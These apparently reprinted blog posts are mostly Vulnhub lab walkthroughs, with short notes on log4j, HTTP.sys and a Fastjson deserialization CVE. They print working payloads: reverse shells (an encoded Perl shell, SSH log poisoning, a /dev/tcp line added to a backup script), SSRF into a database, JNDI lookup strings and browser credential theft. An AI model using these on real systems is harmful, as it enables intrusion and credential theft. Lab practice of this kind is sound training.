Hogwarts Nagini

Aug 8, 2022

HarryPotter:Nagini

一、基本信息

名称：Hogwarts: Nagini
发布日期：2021.4.29
作者：Mansoor R
系列：Hogwarts
推特：@time4ster

二、靶机简介

Flags：
www-data:/var/www/html/horcrux1.txt
hermoine:/root/horcrux2.txt
root:/root/horcrux3.txt

难度：困难

三、文件信息

文件名：Nagini.ova
文件大小：741MB
下载地址：
MD5: B6C8F47BFB2421D1F12B6C1A2C095088
SHA1: 5CF128C51A445434E216A8C5F4087D9ECFB96739

四、镜像信息

格式：Virtual Machine (Virtualbox - OVA)
操作系统：Linux(debain)

五、网络信息

DHCP服务：可用
IP地址：自动分配

六、环境配置

1.将靶机Nagini和攻击机kali2021在VirtualBox下设置为仅主机模式，使用DHCP分配ip地址：

七、攻略步骤

信息探测

1.因为是没有直接告知我们靶机ip的，所以要先进行主机探测，先查看下kali分配到的ip，在进行网段扫描，命令如下，得到靶机ip为192.168.56.102：
1
ifconfig，查看kali分配到的ip
1
nmap -sP 192.168.56.0/24，扫描靶机ip
2.再进行端口扫描，发现只开放了22和80端口，访问首页只有一张图片：
1
nmap -sC -A -p- 192.168.56.105，端口扫描
3.最后再进行一下目录扫描，发现一个note.txt，可以去看看：
1
gobuster dir -u http://192.168.56.105 -x html,txt,php,bak --wordlist=/usr/share/wordlists/dirb/common.txt，目录扫描

SSRF漏洞利用

1.直接访问192.168.56.105/note.txt，发现页面提示要使用http3，需要使用curl配置http3，把quic.nagini.hogwarts加入host，利用curl获取网页内容（curl配置http3见：https://github.com/curl/curl/blob/master/docs/HTTP3.md，配置好后无法链接可以将kali的网络配置暂时换为NAT）：

2.在用http3协议访问之后，我们根据提示可以去看internalResourceFeTcher.php这个文件，发现是一个可以利用的SSRF：
1
curl 'http://quic.nagini.hogwarts/internalResourceFeTcher.php?url=file:///etc/passwd'，可以获取/etc/passwd目录下的内容

数据库修改登录

1.我们可以利用cms的特性扫描joomla数据库所在目录，可以发现配置文件configuration.php，而这个配置文件告知了我们joomla库下一个无密码用户goblin：
1
curl 'http://quic.nagini.hogwarts/internalResourceFeTcher.php?url=file:///var/www/html/joomla/configuration.php'
2.接下来我们要使用Gopherus这个工具生成payload，进行sql注入类的操作，需要使用pip2：
1
2
3
wget https://bootstrap.pypa.io/pip/2.7/get-pip.py
python2 get-pip.py
pip2 -V
3.将Gopherus生成的payload拼接到http://192.168.56.105/internalResourceFeTcher.php?url=后面，我们已经知道goblin是无密码用户，则我们可使用update命令把新密码加给新加入的用户：
1
2
3
USE joomla; 
UPDATE joomla_users SET password=‘5f4dcc3b5aa765d61d8327deb882cf99’ 
WHERE email=‘site_admin@nagini.hogwarts’;
4.现在可以使用site_admin用户，密码password登录/joomla/administrator：

后台写入脚本，getshell

1.在后台Extensions栏Templates页，选择Protostar，选择newfile，创建一个php文件，php反弹代码如下：

php```
'perl','c'=>'c'); $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj". "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR". "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT". "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI". "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi". "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl". "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; cf('/tmp/.bc',$back_connect); $res = execute(which('perl')." /tmp/.bc $yourip $yourport &"); ?>

1 2	> > 2.开启kali的对应端口监听，访问http://192.168.56.105/joomla/templates/protostar/rev.php，成功getshell，再利用python简历交互式shell：

nc -lvnp 1234
python3 -c “import pty;pty.spawn(‘/bin/bash’)”
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
![image-](18.png)

### SSH登录，准备提权
1.首先在/var/www/html目录下有第一个flag，即horcrux1.txt，进行base64解密：

![image-](19.png)

2.然后在/home/hermoine目录下有第二个flag，即horcrux2.txt，但我们没有权限查看:

![image-](20.png)

![image-](21.png)

3.继续查看/home/snape目录，此目录下有一个.creds.txt文件，有一段base64编码，很可能就是snape用户ssh登录的密码：

![image-](22.png)

![image-](23.png)

4.登录snape后，我们可以将我们kali的ssh-keygen复制到snape的/home/hermoine目录下，并命名为authorized_keys，赋予权限，利用本就在hermoine目录下的su_cp执行，从而在kali上可以不使用密码ssh登录hermoine：
find / -perm -u=s 2>/dev/null
1
![image-](24.png)
Kali：
ssh-keygen
cat ~/.ssh/id_rsa.pub

snape:
vim /home/snape/authorized_keys
chmod 640 authorized_keys
1
![image-](25.png)
cd /home/hermoine/bin
./su_cp -p /home/snape/authorized_keys /home/hermoine/.ssh/
1
![image-](26.png)
Kali:
ssh hermoine@192.168.56.105 -i .ssh/id_rsa
1
2
3
4
5
6
5.这个时候我们就可以去/root目录下查看horcrux2.txt这个文件，同样是用base64解密： 
![image-](27.png)

### root提权
1.我们可以在.mozilla/firefox/g2mhbq0o.default/目录下发现浏览器的登录信息，则考虑使用读取浏览器用户名和密码的工具firepwd，在hermoine开启一个http服务，传输要解密的文件给kali，可以爆出root的密码：
hermoine:
cd .mozilla/firefox/g2mhbq0o.default/
ls -al
1
![image-](28.png)
python3 -m http.server 9000
Kali:
unzip firepwd-master.zip，把firepwd下载到kali解压
cd firepwd-master
sudo pip install -r requirements.txt
pip3 install pycrypto
pip3 install pycryptodome
mkdir creds
cd creds
cp ~/Desktop/firepwd-master/firepwd.py ~/Desktop/firepwd-master/creds
wget http://192.168.56.105:9000//logins.json
wget http://192.168.56.105:9000//key4.db
python3 firepwd.py

```

2.进行root登录，在/home目录下能找到最后一个flag，即horcrux3.txt：

Hogwarts Bellatrix

Aug 8, 2022

HOGWARTS: BELLATRIX

一、基本信息

名称：Hogwarts: Bellatrix
发布日期：2020.11.28
作者：BLY
系列：Hogwarts
推特：@BertrandLorent9

二、靶机简介

Flags：
root:/root/root.txt

难度：简单

三、文件信息

文件名：Bellatrix.ova
文件大小：4.1GB
下载地址：
MD5: E6D98D406CDF7641E4A966F16AFAF536
SHA1: 8389861C7F2B1626190844E31A2A1A4ADE385E06

四、镜像信息

格式：Virtual Machine (Virtualbox - OVA)
操作系统：Linux(ubuntu)

五、网络信息

DHCP服务：可用
IP地址：自动分配

六、环境配置

1.将靶机Bellatrix和攻击机kali2021在VirtualBox下设置为仅主机模式，使用DHCP分配ip地址：

七、攻略步骤

信息探测

1.因为是没有直接告知我们靶机ip的，所以要先进行主机探测，先查看下kali分配到的ip，在进行网段扫描，命令如下，得到靶机ip为192.168.56.102：
1
ifconfig，查看kali分配到的ip
1
nmap -sP 192.168.56.0/24，扫描靶机ip
2.再进行端口扫描，发现只开放了22和80端口，访问主页，发现提示存在文件包含：
1
nmap -T4 -sC -sV -p- --min-rate=1000 192.168.56.127 | tee nmapscan，端口扫描
3.最后再进行一下目录扫描，没有太多值得关注的信息：
1
gobuster dir -u http://192.168.56.127 -x html,php,bak,txt --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt，目录扫描

文件包含漏洞利用

1.在主页其实是提示了有ikilledsiriusblack.php这个文件，后面跟file参数存在文件包含漏洞：

1	http://192.168.56.127/ikilledsiriusblack.php?file=/etc/passwd

2.利用文件包含漏洞，写入payload，获得shell：

1	http://192.168.56.127/ikilledsiriusblack.php?file=/var/log/auth.log，可以查看SSH日志信息

1 2	ssh '<?php system($_GET['cmd']);?>'@192.168.56.127，稍微污染SSH日志信息 http://192.168.56.127/ikilledsiriusblack.php?file=/var/log/auth.log&cmd=id，可以使用cmd命令

nc -lvnp 1234

http://192.168.56.127/ikilledsiriusblack.php?file=/var/log/auth.log&cmd=php+-r+'$sock%3dfsockopen("192.168.56.102",1234)%3bexec("/bin/sh+-i+<%263+>%263+2>%263")%3b'，写入命令反弹shell

python3 -c 'import pty; pty.spawn("/bin/bash");'

密码爆破，初步提权

1.我们可以在当前目录下发现一个被类似base编码了的目录，目录下有一个隐藏的字典文件：
1
2
3
4
ls -la
cd c2VjcmV0cw==
ls -la
cat .secret.dic
2.而Swordofgryffindor内是lestrange用户与其密码hash：
1
cat Swordofgryffindor
3.将密码字典复制与密码hash到kali本地，利用john进行爆破：
1
2
3
vim dic.txt
vim hash.txt
john --wordlist=dic.txt hash.txt
4.可以登录到lestrange用户：

root提权

1.利用sudo -l命令，查找可用文件，发现vim可以提权：
1
sudo -l
2.直接写入，提权到root：
1
sudo -u root /usr/bin/vim -c ':!/bin/sh'

Flag获取

1.现在我们在/root目录下能够发现flag，即proof.txt：
1
2
3
cd /root
ls -la
cat root.txt

Hogwarts Vulnhub WriteUp

Harrypotter Aragog

Aug 8, 2022

HarryPotter:Aragog

一、基本信息

名称：HarryPotter:Aragog
发布日期：2021.5.10
作者：Mansoor R
系列：HarryPotter
推特：@time4ster

二、靶机简介

Flags：
www-data:/home/hagrid98/horcrux1.txt
root:/root/horcrux2.txt

难度：简单

三、文件信息

文件名：Aragog-1.0.2.ova
文件大小：705MB
下载地址：
MD5: 48A8BD22B27945A9A6FBCF6C57150162
SHA1: DA8B34EAD85C1F6AB66A907A6BA94F6B8284BCF7

四、镜像信息

格式：Virtual Machine (Virtualbox - OVA)
操作系统：Linux(debain)

五、网络信息

DHCP服务：可用
IP地址：自动分配

六、环境配置

1.将靶机Aragog和攻击机kali2021在VirtualBox下设置为仅主机模式，使用DHCP分配ip地址：

七、攻略步骤

信息探测

1.因为是没有直接告知我们靶机ip的，所以要先进行主机探测，先查看下kali分配到的ip，在进行网段扫描，命令如下，得到靶机ip为192.168.56.102：
1
ifconfig，查看kali分配到的ip
1
nmap -sP 192.168.56.0/24，扫描靶机ip
2.再进行端口扫描，发现只开放了22和80端口，访问首页只有一张图片：
1
nmap -T4 -sC -sV -p- --min-rate=1000 192.168.56.104 | tee nmapscan，端口扫描
3.最后再进行一下目录扫描，发现一个blog目录，可以去看看：
1
dirb http://192.168.56.104，目录扫描

wpscan漏洞发现

1.直接访问192.168.56.104/blog，发现页面提示是使用WordPress搭建的blog，想访问Notice等页面的内容和使用wpscan进行扫描，要添加一下host：

2.再利用wpscan扫描得到漏洞，–pluguns-detection aggressive模式下有几个漏洞，都是有关file manager的：
1
wpscan --url http://wordpress.aragog.hogwarts/blog --plugins-detection aggressive

msf getshell

1.我们可以利用msf查找可用的file manager利用工具，配置后进行shell：
1
2
msfconsole
search file manager wordpress，查看相关漏洞利用工具
1
2
3
4
5
exploit/multi/http/wp_file_manager_rce -y，漏洞工具选择
set TARGETURI /blog，配置URI
set RHOSTS wordpress.aragog.hogwarts，配置远程地址
set LHOST 192.168.56.102，配置本地地址
run
2.再利用python，获取一个ttyshell，查询目录，在/home/hagrid98下能找到第一个flag，horcrux1.txt：
1
2
3
shell
python3 -c ‘import pty; pty.spawn(“/bin/bash”);’
cat /home/hagrid98/horcrux1.txt

mysql登录，进行提权

1.在/etc/wordpress目录下的config-defaut.php文件内能看到一个数据库密码，登录mysql后进入wordpress数据库查询wp_users表能够得到hagrid98的ssh登录密码：
1
cat /etc/wordpress/config-default.php，得到root数据库密码
1
2
3
mysql -u root -p，登录mysql，密码为mySecr3tPass
use wordpress;
select * from wp_users;
2.进行ssh登录hagrid98，查找备份文件可以发现一个脚本：
1
find / -name "*back*"
3.在这里我们简单弹个shell，因为/opt/.backup.sh是被修改过的，我们也有权利进行修改：
1
echo "bash -c 'bash -i >& /dev/tcp/192.168.56.102/5555 0>&1'" >> /opt/.backup.sh
4.从.backup.sh的文件内容看，/tmp目录是可以进行拷贝等操作的，我们可以尝试把文件拷贝到/tmp目录下执行，同时kali监听5555端口，并且网页访问/tmp/tmp_wp_uploads目录：
1
2
3
4
nc -lvnp 5555，kali监听
cp /opt/.backup.sh /tmp/.backup.sh
cd /tmp
./.backup.sh
5.在root用户的/root目录下能发现第二个flag，即horcrux2.txt：

Harrypotter Vulnhub WriteUp

蓝色的地平线

Aug 4, 2022

蓝色的地平线

别问我为什么一个月多都没写博客感觉是面试通过了门面撑好了博客就不需要更新了(￣ε(#￣)☆╰╮o(￣皿￣///)

其实不然~~（借口）~~，主要是“搬家 + 居家隔离 + 天天核酸”的套餐搞得自己没有太多精力去把技术类的东西再搬过来……~~你想让我说因为放了几个月假没上班最后能有几天就一直在玩 Monster Hunter Rise：Sunbreak吗？！~~

所以嘛，到了现在我已经上了三个星期的班了，新工作环境还不错，但也多少有点压力，不过还好，至少现在我还能有时间在公司码几篇博客传上来，希望之后也有这样的时间来学习一些东西。

现在工作上接触到漏洞的发现、验证、利用场景比较多，之后应该会多更新整合这方面的学习内容；还会接收到很多SRC过来的漏洞，也会学习学习手法（但大多都比较简单应该不会碎片化记录，整合下可能性微存？懒）

欸，又回到这种每天白开水预设的生活了，该说要每天能给自己掺点有意思的东西比较好（于是就发生了快凌晨2点被提生产环境上线复测漏洞的情况）

「不要被他人所命令所急迫，自己要有自己的度量」

话说今天是七夕欸，V我50(´◐∀◐`)

这篇文章叫“蓝色的地平线”（ブルー・ホライズン），是因为在写完这篇时，刚好随机到《记录的地平线》第三季ED，名为《ブルー・ホライズン》~~（天国的第四季）~~。

Chaos New Start

dnslog-log4j2

Aug 3, 2022

dnslog简单验证log4j2漏洞

本文转自星夜

简单步骤

进dnslog：http://www.dnslog.cn/

Get SubDomain 得到一个随机的子域名

拼进${jndi:ldap://xxxxx.dnslog.cn/exp}

往任意可能在log中塞的输入填

这里拿tx玩，如群中发送，可得到tx云的记录

Apache Exploit RCE Reprint

HTTP.sys远程代码执行

Aug 3, 2022

【渗透整理】HTTP.sys远程代码执行

本文转自久违 °

漏洞介绍

HTTP.sys是Microsoft Windows处理HTTP请求的内核驱动程序，为了优化IIS服务器性能，从IIS6.0引入，IIS服务进程依赖HTTP.sys。HTTP.sys远程代码执行漏洞实质是HTTP.sys的整数溢出漏洞，当攻击者向受影响的Windows系统发送特殊设计的HTTP 请求，HTTP.sys 未正确分析时就会导致此漏洞，成功利用此漏洞的攻击者可以在系统帐户的上下文中执行任意代码。

影响环境：Windows+IIS的环境下，任何安装了微软IIS 6.0以上的Windows Server 2008 R2/Server 2012/Server 2012 R2以及Windows 7/8/8.1操作系统都受到这个漏洞的影响。

漏洞知识

说到HTTP.sys远程代码执行漏洞，不得不先介绍一下Range首部字段。

在“上古时代”，网络并不是很好，下载大型文件很不容易。下载途中如果网络中断，就得重头开始下。为了解决这个问题，HTTP/1.1引入了范围请求。

在请求报文的Range首部字段中指定资源的byte范围，告诉服务器，请求的是资源哪个范围的内容，让断点续传和并行下载得以实现。

如果服务器支持范围请求，响应包中就会存在Accept-Ranges字段(且值不为“none”，bytes为资源范围的单位)，并在Content-Length字段中告诉客户端资源的大小范围。

如果没有Accept-Ranges字段，则服务器可能不支持范围请求，有的服务器会明确将值设为“none”。

服务器面对范围请求，有三种响应：

请求成功：

响应206Partial Content请求范围越界：（范围超过资源的大小）

响应416Requested Range Not Satisfiable不支持范围请求：

响应200OK

而HTTP.sys远程代码执行漏洞正是利用Range字段注入恶意数据。该漏洞的检测，也是利用服务器面对范围请求时的响应特征来判断。

漏洞检测方法

1、先判断目标环境是否为Windows+IIS

2、然后构建Range字段进行检测即可

检测时，在请求包中添加Range字段，如下：

Range: bytes=0-18446744073709551615

【18446744073709551615的十六进制为0xFFFFFFFFFFFFFFFF(16个F)是64位无符号整数所能表达的最大整数，整数溢出和这个超大整数有关】

然后go给服务器

1
2
3

GET / HTTP/1.1
Host: stuff
Range: bytes=0-18446744073709551615

或者：

1	curl -v www.test.com -H "Host: irrelevant" -H "Range: bytes=0-18446744073709551615"

服务器响应 400，证明不存在HTTP.sys远程代码执行漏洞

HTTP Error 400. The request has an invalid header name.

服务器响应 416，则证明存在该漏洞

HTTP/1.1 416 Requested Range Not Satisfiable
Content-Type: text/html
Last-Modified: Thu, 22 Aug 2013 23:53:12 GMT
Accept-Ranges: bytes
ETag: "2edebc2929fce1:0"

漏洞修复建议：

升级安全补丁

Exploit HTTP RCE Reprint

CVE-2022-25845 – Fastjson

Aug 3, 2022

CVE-2022-25845 – Fastjson “Auto Type Bypass” RCE漏洞分析

本文转自vayci

前言

几周前， Fastjson 发布了一个新版本 (1.2.83) ，其中包含一项安全漏洞修复。据称攻击者可以利用此漏洞在远程机器上执行代码。根据发布的多篇文章，攻击者通过漏洞可以绕过Fastjson中的“AutoTypeCheck”机制，完成远程代码执行。

这个 Fastjson 漏洞最近才收到一个 CVE 漏洞标识符 – CVE-2022-25845，以及高达8.1的CVSS漏洞评分。尽管如此，这个漏洞仍扑朔迷离。尽管这是被宣称为在无处不在的组件中存在的一个高危RCE漏洞（将近5000个Maven项目都存在Fastjson依赖！），却几乎没有任何关于它的公开技术细节。到底是哪里存在漏洞，又是在什么条件下容易被攻击？

在本篇文章中，我们深入研究了这个Fastjson漏洞的严重性，以及那些类型的Java应用程序受此影响。文末是给目前无法升级到指定Fastjson版本的开发人员的一些策略建议。

哪些情况会受到CVE-2022-25845漏洞的影响？

所有依赖 Fastjson 版本 1.2.80 或更早版本的程序，在应用程序中如果包含使用用户数据调用 JSON.parse 或 JSON.parseObject 方法，但不指定要反序列化的特定类，都会受此漏洞的影响。

虽然看起来很宽泛，但是我们可以发现，在这些前提条件下，攻击者也只能通过这个漏洞调用特定类型的Java反序列化gadget（继承Throwable类的gadget类），这大大限制了这个漏洞的实际影响。

技术深入探究

Fastjson 是一个 Java 库，可以将 Java 对象序列化和反序列化，实现Java对象和JSON的相互转换。

和大多数 JSON 类一样，Fastjson 支持将基本 JSON 类型（数组和对象）分别序列化和反序列化为它们的 Java 等价对象——Arrays 和 Maps。

然而，Fastjson也可以将用户的Java对象（POJO）序列化为JSON，或从JSON反序列化为Java对象。

例如，我们定义了一个名为User的类，以下代码时将其进行序列化为JSON，然后再进行反序列化。

public class App
{
    public static void main( String[] args )
    {
        ...
  String jsonString = JSON.toJSONString(user);
  User user2 = JSON.parseObject(jsonString, User.class);
    }
}

JSON.parseObject()返回一个 JSONObject 对象，然后这个对象又转换为User类。

有时候，开发人员想要更灵活的代码来接收序列化的JSON，告诉代码JSON应该被反序列化为哪种类。例如下面这种JSON形式：

    "users": [
        {
            "@type": "AdminUser",
            "username": "admin",
            "password": "21232f297a57a5a743894a0e4a801fc3"
        },
        {
            "@type": "GuestUser",
            "username": "guest",
            "password": ""
        }
    ]
}

Fastjson 支持一个名为“AutoType”的功能。启用该功能后，可以为每个用户entry引入类型。开发人员只需要调用如下代码：

JSONObject obj = JSON.parseObject(jsonString, Feature.SupportAutoType);
JSONArray users = (JSONArray)obj.get("users");
// Users[0] is of class type "AdminUser"
// Users[1] is of class type "GuestUser"

但是，如果反序列化的JSON是用户可以控制的，则在启用AutoType的情况下对其进行解析可能会出现反序列化安全问题。因为攻击者可以实例化Classpath上可用的任意类，并为类的构造函数提供任意参数。这个问题已经被很多次证实确实可以利用，并且例如ysoserial之类的框架就存在这里攻击手段的风险（Java的“gadget”类）。

因此，Fastjson的开发者选择默认禁用了AutoType功能，这应该能够安全地解析人员JSON数据了。但是，AutoType的机制比这复杂得多…

绕过 AutoType 默认禁用策略

当JSON.parseObject()被调用时，它最终会调用到 DefaultJSONParser.parseObject()，并且传入参数 object 为 JSONObject，fieldName 为 null。当这个方法遇到“@type”这个符号（JSON.DEFAULT_TYPE_KEY）时，就会调用config.checkAutoType：

if (key == JSON.DEFAULT_TYPE_KEY
        && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
    String typeName = lexer.scanSymbol(symbolTable, '"');

    if (lexer.isEnabled(Feature.IgnoreAutoType)) {
        continue;
    }

最终，在所有flag都是默认的情况下，代码会调用至config.checkAutoType()。在这里，我们可以看到因为被列入黑名单而无法通过AutoType 机制实例化的类列表。

if (expectClass == null) {
            expectClassFlag = false;
        } else {
            long expectHash = TypeUtils.fnv1a_64(expectClass.getName());
            if (expectHash == 0x90a25f5baa21529eL
                    || expectHash == 0x2d10a5801b9d6136L
                    || expectHash == 0xaf586a571e302c6bL
                    || expectHash == 0xed007300a7b227c6L
                    || expectHash == 0x295c4605fd1eaa95L
                    || expectHash == 0x47ef269aadc650b4L
                    || expectHash == 0x6439c4dff712ae8bL
                    || expectHash == 0xe3dd9875a2dc5283L
                    || expectHash == 0xe2a8ddba03e69e0dL
                    || expectHash == 0xd734ceb4c3e9d1daL
            ) {
                expectClassFlag = false;
            } else {
                expectClassFlag = true;
            }
        }

这些被Ban的类是以下这些：

java.lang.Object

java.io.Serializable

java.lang.Cloneable

java.lang.Runnable

java.lang.AutoCloseable

java.io.Closeable

java.lang.Iterable

java.util.Collection

java.lang.Readable

java.util.EventListener

你也可以在 fastjson-blacklist 查看到更多被列入黑名单的类。这个仓库维护了被列入Fastjson黑名单的类的hash值。

最后，代码将尝试找到一个反序列化器deserializer，用来对这个已经被JSON序列化的类进行反序列化。

ObjectDeserializer deserializer = config.getDeserializer(clazz);
Class deserClass = deserializer.getClass();
if (JavaBeanDeserializer.class.isAssignableFrom(deserClass)
    && deserClass != JavaBeanDeserializer.class
    && deserClass != ThrowableDeserializer.class) {
    this.setResolveStatus(NONE);
} else if (deserializer instanceof MapDeserializer) {
    this.setResolveStatus(NONE);
}
Object obj = deserializer.deserialze(this, clazz, fieldName);

在 ParserConfig.getDeserializer()内部，有一个关键检查，用于验证目标类是否继承了 Throwable 类：

1 2	} else if (Throwable.class.isAssignableFrom(clazz)) { deserializer = new ThrowableDeserializer(this, clazz);

ThrowableDeserializer.deserialize()会处理这种数据。如果存在“@type”，它将使用 autoTypeCheck()检查并继续正常反序列化：

if (JSON.DEFAULT_TYPE_KEY.equals(key)) {
    if (lexer.token() == JSONToken.LITERAL_STRING) {
        String exClassName = lexer.stringVal();
        exClass = parser.getConfig().checkAutoType(exClassName, Throwable.class, lexer.getFeatures());

因此，漏洞的核心在于，只要目标类继承自 Throwable 类，Fastjson便可以反序列化为任意类！

在这种情况下，负责创建反序列化类的函数是 createException()，它处理了 3 种不同类型的构造函数。一个没有任何参数，一个带有异常消息的参数，一个带有异常消息和异常原因参数。在此之后，它将先尝试调用更为复杂的构造函数（causeConstructor、messageConstructor 和 defaultConstructor）：

private Throwable createException(String message, Throwable cause, Class<?> exClass) throws Exception {
        Constructor<?> defaultConstructor = null;
        Constructor<?> messageConstructor = null;
        Constructor<?> causeConstructor = null;
        for (Constructor<?> constructor : exClass.getConstructors()) {
            Class<?>[] types = constructor.getParameterTypes();
            if (types.length == 0) {
                defaultConstructor = constructor;
                continue;
            }

            if (types.length == 1 && types[0] == String.class) {
                messageConstructor = constructor;
                continue;
            }

            if (types.length == 2 && types[0] == String.class && types[1] == Throwable.class) {
                causeConstructor = constructor;
                continue;
            }
        }

        if (causeConstructor != null) {
            return (Throwable) causeConstructor.newInstance(message, cause);
        }

        if (messageConstructor != null) {
            return (Throwable) messageConstructor.newInstance(message);
        }

        if (defaultConstructor != null) {
            return (Throwable) defaultConstructor.newInstance();
        }

作为类实例化的一步，还会为每个相关成员变量调用一个 setter方法：

if (otherValues != null) {
    JavaBeanDeserializer exBeanDeser = null;

    if (exClass != null) {
        if (exClass == clazz) {
            exBeanDeser = this;
        } else {
            ObjectDeserializer exDeser = parser.getConfig().getDeserializer(exClass);
            if (exDeser instanceof JavaBeanDeserializer) {
                exBeanDeser = (JavaBeanDeserializer) exDeser;
            }
        }
    }

    if (exBeanDeser != null) {
        for (Map.Entry<String, Object> entry : otherValues.entrySet()) {
            String key = entry.getKey();
            Object value = entry.getValue();

            FieldDeserializer fieldDeserializer = exBeanDeser.getFieldDeserializer(key);
            if (fieldDeserializer != null) {
                FieldInfo fieldInfo = fieldDeserializer.fieldInfo;
                if (!fieldInfo.fieldClass.isInstance(value)) {
                    value = TypeUtils.cast(value, fieldInfo.fieldType, parser.getConfig());
                }
                fieldDeserializer.setValue(ex, value);
            }
        }
    }
}

怎么利用 CVE-2022-25845 漏洞？

在了解了AutoType 机制中的上述“漏洞”之后，让我们看看一个在现实中利用这个漏洞的可行性。这个漏洞据称可以实现远程代码执行。

由 YoungBear 发布的漏洞利用方案，通过传入这个JSON可以运行任意系统操作命令。

{
    "@type": "java.lang.Exception",
    "@type": "com.example.fastjson.poc20220523.Poc20220523",
    "name": "calc"
}

这个漏洞利用方案依赖于在 Java 应用程序中定义的下面这个继承Exception的类：

package com.example.fastjson.poc20220523;

import java.io.IOException;

/**
 * @author youngbear
 * @email youngbear@aliyun.com
 * @date 2022/5/29 8:28
 * @blog https://blog.csdn.net/next_second
 * @github https://github.com/YoungBear
 * @description POC类：需要代码中有该类
 */
public class Poc20220523 extends Exception {
    public void setName(String str) {
        try {
            Runtime.getRuntime().exec(str);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

当反序列化执行到上面这一段JSON时，Poc20220523这个类就创建了，并且提供name参数是通过自动调用setter方法。

如代码所示，这将最终调用包含 str = “calc”的恶意 setName() setter 函数：

public void setName(String str) {
    try {
        Runtime.getRuntime().exec(str);
    } catch (IOException e) {
        e.printStackTrace();
    }
}

这部分的实际代码内容为打开windows计算器：

这个漏洞利用方案显然只是一个演示，因为任何正常的 Java 应用程序都不会包含类似于 Poc20220523 这样会基于外部参数运行 shell 命令的异常派生类。

现在亟待解决的问题是 — 是否有大家熟知的 Java“gadget”类可以作为此漏洞的一部分被滥用？即继承自Exception或Throwable，并且存在相关的构造函数或者setter方法，可能会造成实际安全影响的Java类。

目前，有一个兼容的gadget类（来自 Selenium 库）已经在被发布了。它会导致非常低影响的数据泄漏：

{
    "x":{
      "@type":"java.lang.Exception",
      "@type":"org.openqa.selenium.WebDriverException"
    },
    "y":{
      "$ref":"$x.systemInformation"
    }
}

反序列化这个 JSON 最终会创建一个 HashMap，其中“y”值为有关机器的一些基本信息：

1	"System info: host: '', ip: '', os.name: '', os.arch: '', os.version: '', java.version: ''"

根据应用程序的不同，这些信息最终可能会被存储或发送给攻击者（例如，它可能被写入可远程访问日志）。

在检查了 ysoserial 等其他知名来源后，我们没有发现任何可以在实际场景中能够导致远程代码执行的gadget类。因此，想要利用这个漏洞进行实际攻击的黑客，需要对被共计的Java应用服务器进行深入研究，以找到一个加载在Classpath中的自定义的Java gadget类。这个类继承自Exception/Throwable，并包含可用于获取权限、泄漏数据甚至运行任意代码的相关方法。

总而言之，我们评估目前这个漏洞似乎并未构成很高风险的威胁。尽管存在一个潜在影响巨大（远程代码执行）的公共PoC漏洞可利用，并且攻击的条件并不是甚微（将不受信任的输入数据传递给特定易受攻击的 API）。最重要的是，必须找到一个合适的gadget类（或许由于一些不太可能的属性根本不存在）来突破特定被攻击的目标。

如何完全修复 CVE-2022-25845？

要完全修复 CVE-2022-25845，我们建议将 Fastjson 升级到最新版本，目前为 1.2.83。

如何降低 CVE-2022-25845 风险？

启用 Fastjson 的“Safe Mode”可以减缓这个漏洞风险。

可以通过执行以下任何一种操作来开启Safe Mode：

1.通过代码配置 ParserConfig.getGlobalInstance().setSafeMode(true);
2.通过JVM启动参数配置 -Dfastjson.parser.safeMode=true
3.通过Fastjson的配置文件配置项 fastjson.parser.safeMode=true

Exploit Fastjson RCE Reprint

Hacksudo Search

Aug 3, 2022

Hacksudo:Search

一、基本信息

名称：hacksudo:search
发布日期：2021.4.16
作者：Vishal Waghmare
系列：hacksudo

二、靶机简介

Flags：
root:/root/root.txt

难度：简单

三、文件信息

文件名：hacksudo-search.zip
文件大小：853MB
下载地址：
MD5: DA5AF5CA7DE9C5FE77CF351631D262A7
SHA1: 28C122BCBD488FFA4B9660123D0A07DAFD065581

四、镜像信息

格式：Virtual Machine (Virtualbox - OVA)
操作系统：Linux(debain)

五、网络信息

DHCP服务：可用
IP地址：自动分配

六、环境配置

1.将靶机Search和攻击机kali2021在VirtualBox下设置为仅主机模式，使用DHCP分配ip地址：

七、攻略步骤

信息探测

1.因为是没有直接告知我们靶机ip的，所以要先进行主机探测，先查看下kali分配到的ip，在进行网段扫描，命令如下，得到靶机ip为192.168.56.102：
1
ifconfig，查看kali分配到的ip
1
nmap -sP 192.168.56.0/24，扫描靶机ip
2.再进行端口扫描，发现只开放22，80端口，访问主页是一个搜索框，同时可以直接看到search.php：
1
nmap -T4 -sC -sV -p- --min-rate=1000 192.168.56.111 | tee nmapscan，端口扫描
3.最后再进行一下目录扫描，发现一个search1.php的文件，可以进行访问：
1
gobuster dir -u http://192.168.56.111/ -x html,php,bak,txt --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt，目录扫描

发现文件包含漏洞

1.访问search1.php文件发现比search.php多了上栏，且通过修改About页地址me大小写，能够发现存在文件包含漏洞，在源码中也有提示：

2.可以通过页面输出内容，也可用测试存在RFI：

上传webshell

1.修改kali自带的webshell，/usr/share/webshells/php/php-reverse-shell.php，在同目录下kali开启http服务：

2.通过文件包含漏洞让靶机获取webshell，kali开启监听端口，访问触发，再用python构建交互式shell：
1
